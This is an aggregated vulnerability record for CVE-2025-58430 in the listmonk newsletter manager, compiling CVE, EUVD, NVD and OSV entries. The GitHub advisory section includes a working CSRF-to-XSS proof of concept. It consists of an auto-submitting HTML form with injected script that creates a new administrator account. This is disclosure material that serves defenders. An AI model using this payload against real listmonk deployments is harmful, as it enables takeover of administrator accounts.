CVE-2025-58430Published

listmonk Vulnerable to CSRF to XSS Chain That Can Lead to Admin Account Takeover

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2025-58430

Published

listmonk is a standalone, self-hosted, newsletter and mailing list manager. In versions up to and including 1.1.0, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly. This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability. Cross-site request forgery and cross-site scripting chained together can result in improper admin account creation. As of time of publication, no patched versions are available.

Source published: 9 Sep 2025 19:37:45 UTC
Source modified: 10 Sep 2025 13:55:42 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

euvd · EUVD-2025-27482

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 9, 2025, 7:37:45 PM

dateUpdated: Sep 10, 2025, 1:55:42 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2025:15564-1: govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media

CVE-2025-4953 · CVE-2025-54123 · CVE-2025-54376 · CVE-2025-58058 · CVE-2025-58063 · CVE-2025-58157 · CVE-2025-58158 · CVE-2025-58430 · CVE-2025-58437 · CVE-2025-58445 · CVE-2025-58450 · CVE-2025-59358 · CVE-2025-59359 · CVE-2025-59360 · CVE-2025-59361 · CVE-2025-7445 · CVE-2025-8396 · CVE-2025-9072 · CVE-2025-9076 · CVE-2025-9078 · CVE-2025-9084

Source published: Sep 9, 2025, 7:37:45 PM (timezone not stated)
Source modified: Sep 10, 2025, 1:55:42 PM (timezone not stated)
Observed here: 11 Nov 2026 03:36:51 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2025-58430

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-79 · CWE-80 · CWE-352

Original publisher date fields

published: 2025-09-09T20:15:48.450

lastModified: 2026-09-30T23:10:00.237

1 source CPE criteria · context only

cpe:2.3:a:nadh:listmonk:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 9 Sep 2025 20:15:48 UTC
Source modified: 30 Sep 2026 23:10:00 UTC
Observed here: 25 Oct 2026 03:17:18 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-rf24-wg77-gq7w

Published

### Summary Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application. ### Details During a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly. This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability. Example HTTP request without nonce : <img width="1418" height="772" alt="user_creation_without_nonce_burp_request" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" /> ### PoC Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS. An admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example: <img width="1912" height="935" alt="browser_template_editor_with_alert" src="https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad" /> And this request can also be made without `nonce`. <img width="1883" height="707" alt="template_preview_burp_request_without_nonce" src="https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41" /> Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin). This is possible for 2 reasons : 1) There is no validation of the `nonce` (as mentioned above) 2) The `session` cookie has no samesite flag <img width="1557" height="593" alt="no_same_site_response_cookie_burp" src="https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77" /> As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge). For example, we can host this html page to prompt the admin to make a post request ```html <html>  <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }}

<script>alert()</script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅ Example in Firefox : ![xss_mozilla_poc](https://github.com/user-attachments/assets/04397e79-0fa1-4c99-b8c2-5b2ff2fbf4fa) We can now replace the simple `alert()` with any “harmful” request. For example, the creation of a new admin account: <img width="1226" height="925" alt="browser_template_editor_with_final_payload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" /> ```html <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"username\":\"testuser4\",\"email\":\"[email protected]\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> ``` The final poc that exploits CSRF + XSS, allowing admin account creation: ```html <html>  <body> <form action="https://10.100.132.47/api/templates/preview" method="POST"> <input type="hidden" name="template_type" value="campaign" /> <input type="hidden" name="body" value="{{ template "content" . }}

    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` ### Impact Admin account creation

Source published: 9 Sep 2025 20:42:32 UTC
Source modified: 10 Sep 2026 03:50:28 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH

osv · GO-2025-3943

Published

listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover in github.com/knadh/listmonk

Source published: 17 Sep 2025 17:03:49 UTC
Source modified: 3 Mar 2026 04:57:28 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.